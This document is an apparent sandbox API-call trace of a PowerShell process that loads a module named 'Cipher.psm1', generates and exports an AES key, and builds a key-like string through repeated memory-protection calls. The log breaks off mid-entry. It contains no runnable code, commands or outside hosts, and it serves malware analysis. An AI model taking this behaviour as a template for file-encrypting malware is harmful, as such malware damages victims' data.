0 [0135.513] GetConsoleOutputCP () returned 0x1b5 [0135.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.514] GetConsoleOutputCP () returned 0x1b5 [0135.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.514] GetConsoleOutputCP () returned 0x1b5 [0135.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.514] GetConsoleOutputCP () returned 0x1b5 [0135.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.515] GetConsoleOutputCP () returned 0x1b5 [0135.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.515] GetConsoleOutputCP () returned 0x1b5 [0135.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.516] GetConsoleOutputCP () returned 0x1b5 [0135.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.516] GetConsoleOutputCP () returned 0x1b5 [0135.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.516] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.517] GetConsoleOutputCP () returned 0x1b5 [0135.517] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.517] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.518] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692d7ac*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x692d7ac*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.518] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.518] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.522] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.522] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.522] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.523] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.523] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.523] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.523] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.523] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.523] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.523] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.523] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xde, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.523] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.524] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e027a0) returned 1 [0135.525] CryptGenKey (in: hProv=0x8e027a0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84c38) returned 1 [0135.525] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.525] CryptExportKey (in: hKey=0x8e84c38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.525] CryptExportKey (in: hKey=0x8e84c38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6937388, pdwDataLen=0x99ae894 | out: pbData=0x6937388*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.525] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.525] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.525] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.525] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.525] SysStringLen (param_1="") returned 0x8 [0135.525] SysStringLen (param_1="h") returned 0x8 [0135.525] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="\x7c73\xe52d\xd597\xa6d9\x710\x58eb\x574e\x182a") returned 0x8 [0135.526] SysStringLen (param_1="\x7c73\xe52d\xd597\xa6d9\x710\x58eb\x574e\x182a") returned 0x8 [0135.526] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="h1") returned 0x8 [0135.526] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="\xfb12\x9043\x900d\x27cd\x3b2e\x6ba6\x68d8\xb75") returned 0x8 [0135.526] SysStringLen (param_1="\xfb12\x9043\x900d\x27cd\x3b2e\x6ba6\x68d8\xb75") returned 0x8 [0135.526] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="h1/") returned 0x8 [0135.526] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="\x8972\xf6d\x232\xbbd4\xe86e\x8637\x81c5\xe506") returned 0x8 [0135.526] SysStringLen (param_1="\x8972\xf6d\x232\xbbd4\xe86e\x8637\x81c5\xe506") returned 0x8 [0135.526] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="h1/H") returned 0x8 [0135.526] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="\x63f8\x5901\x3c97\x4bc2\x67c3\x3905\xa3a4\x77cf") returned 0x8 [0135.526] SysStringLen (param_1="\x63f8\x5901\x3c97\x4bc2\x67c3\x3905\xa3a4\x77cf") returned 0x8 [0135.526] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.526] SysStringLen (param_1="h1/Hv") returned 0x8 [0135.527] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.527] SysStringLen (param_1="\xb2ee\x8928\x759e\x9cf3\xa46a\x1242\xa12b\x1378") returned 0x8 [0135.527] SysStringLen (param_1="\xb2ee\x8928\x759e\x9cf3\xa46a\x1242\xa12b\x1378") returned 0x8 [0135.527] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.527] SysStringLen (param_1="h1/Hvo") returned 0x8 [0135.527] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.527] SysStringLen (param_1="\x6f5\x2d56\xfe66\xd20e\x4a10\xc144\xb8fb\x116") returned 0x8 [0135.528] SysStringLen (param_1="\x6f5\x2d56\xfe66\xd20e\x4a10\xc144\xb8fb\x116") returned 0x8 [0135.528] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.528] SysStringLen (param_1="h1/HvoR") returned 0x8 [0135.528] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.528] SysStringLen (param_1="\x4a8c\x7b90\x1a88\x4e5f\x1558\x5a62\xc799\xcc2f") returned 0x8 [0135.528] SysStringLen (param_1="\x4a8c\x7b90\x1a88\x4e5f\x1558\x5a62\xc799\xcc2f") returned 0x8 [0135.528] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.528] SysStringLen (param_1="h1/HvoRV") returned 0x8 [0135.528] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.528] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329") returned 0x8 [0135.528] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329") returned 0x8 [0135.528] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329") returned 0x8 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329") returned 0x10 [0135.529] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.529] SysStringLen (param_1="h1/HvoRVS㰚ۑ詰눞藅ﲑ菺") returned 0x10 [0135.529] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xd440\x5359\xd6a7\x750f\xe6f2\x7c7e\xdebe\xf700") returned 0x10 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xd440\x5359\xd6a7\x750f\xe6f2\x7c7e\xdebe\xf700") returned 0x10 [0135.529] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.529] SysStringLen (param_1="h1/HvoRVS1ۑ詰눞藅ﲑ菺") returned 0x10 [0135.529] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x90b1\x188e\xd016\xb0b\xd714\xd57a\x9652\x83af") returned 0x10 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x90b1\x188e\xd016\xb0b\xd714\xd57a\x9652\x83af") returned 0x10 [0135.529] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.529] SysStringLen (param_1="h1/HvoRVS1a詰눞藅ﲑ菺") returned 0x10 [0135.529] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xed37\xe13d\xef39\x7b78\x6bcb\x4144\xdb38\x5366") returned 0x10 [0135.529] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xed37\xe13d\xef39\x7b78\x6bcb\x4144\xdb38\x5366") returned 0x10 [0135.529] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="h1/HvoRVS1aX눞藅ﲑ菺") returned 0x10 [0135.530] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xfa52\x600c\x309a\x41f6\xcc18\x13bd\x6c5a\x9246") returned 0x10 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xfa52\x600c\x309a\x41f6\xcc18\x13bd\x6c5a\x9246") returned 0x10 [0135.530] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="h1/HvoRVS1aXu藅ﲑ菺") returned 0x10 [0135.530] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x396a\x3e58\x1563\x8bbb\x660c\x52c0\xb627\xffe0") returned 0x10 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x396a\x3e58\x1563\x8bbb\x660c\x52c0\xb627\xffe0") returned 0x10 [0135.530] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="h1/HvoRVS1aXuqﲑ菺") returned 0x10 [0135.530] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x53ce\x1ac4\x93f7\xf25e\x3dc\x851e\x6f6a\x4c41") returned 0x10 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x53ce\x1ac4\x93f7\xf25e\x3dc\x851e\x6f6a\x4c41") returned 0x10 [0135.530] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="h1/HvoRVS1aXuqL菺") returned 0x10 [0135.530] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xcc58\x5a56\x3619\xf424\x5c55\x3a51\x37d3\x664d") returned 0x10 [0135.530] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\xcc58\x5a56\x3619\xf424\x5c55\x3a51\x37d3\x664d") returned 0x10 [0135.530] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.531] SysStringLen (param_1="h1/HvoRVS1aXuqLa") returned 0x10 [0135.531] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452") returned 0x10 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452") returned 0x10 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452") returned 0x10 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452") returned 0x18 [0135.531] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.531] SysStringLen (param_1="h1/HvoRVS1aXuqLaT蘂쇠➜힡璁") returned 0x18 [0135.531] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xfce9\x91d4\xafd2\xc29\xda4c\xed5a\x5597\x4b25") returned 0x18 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xfce9\x91d4\xafd2\xc29\xda4c\xed5a\x5597\x4b25") returned 0x18 [0135.531] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.531] SysStringLen (param_1="h1/HvoRVS1aXuqLaTE쇠➜힡璁") returned 0x18 [0135.531] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xfced\xb3e7\xe8a8\x3239\x267a\x1328\x5ebc\xbb69") returned 0x18 [0135.531] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xfced\xb3e7\xe8a8\x3239\x267a\x1328\x5ebc\xbb69") returned 0x18 [0135.531] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEb➜힡璁") returned 0x18 [0135.532] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xe332\x55a8\x19f0\x8fa6\x8e93\x7465\x42a5\x1204") returned 0x18 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xe332\x55a8\x19f0\x8fa6\x8e93\x7465\x42a5\x1204") returned 0x18 [0135.532] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbj➜힡璁") returned 0x18 [0135.532] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x16f1\x3ea8\xcfc2\x20cc\x2f7d\x9473\x6eef\x7050") returned 0x18 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x16f1\x3ea8\xcfc2\x20cc\x2f7d\x9473\x6eef\x7050") returned 0x18 [0135.532] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjw➜힡璁") returned 0x18 [0135.532] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x5a5a\x98c7\xb5f8\xe321\x8ff6\xedf8\xce0c\x3a5e") returned 0x18 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x5a5a\x98c7\xb5f8\xe321\x8ff6\xedf8\xce0c\x3a5e") returned 0x18 [0135.532] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu힡璁") returned 0x18 [0135.532] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.532] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xe44d\xef16\x94f2\xb2e0\xd4cc\x7adf\x5f83\x5056") returned 0x18 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\xe44d\xef16\x94f2\xb2e0\xd4cc\x7adf\x5f83\x5056") returned 0x18 [0135.533] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.533] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0璁") returned 0x18 [0135.533] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x4322\x7400\xac3f\xe5b\xa520\x41cc\xe175\x4dcb") returned 0x18 [0135.533] SysStringLen (param_1="\xbde5\x3c30\x7599\x8b76\x76de\x9150\xb96a\xb329\x7b26\x8628\xb2a8\xe42a\x24b7\x3309\x925a\x4452\x4322\x7400\xac3f\xe5b\xa520\x41cc\xe175\x4dcb") returned 0x18 [0135.533] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.533] SysStringLen (param_1="h1/HvoRVS1aXuqLaTEbjwu0w") returned 0x18 [0135.533] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.533] SysStringLen 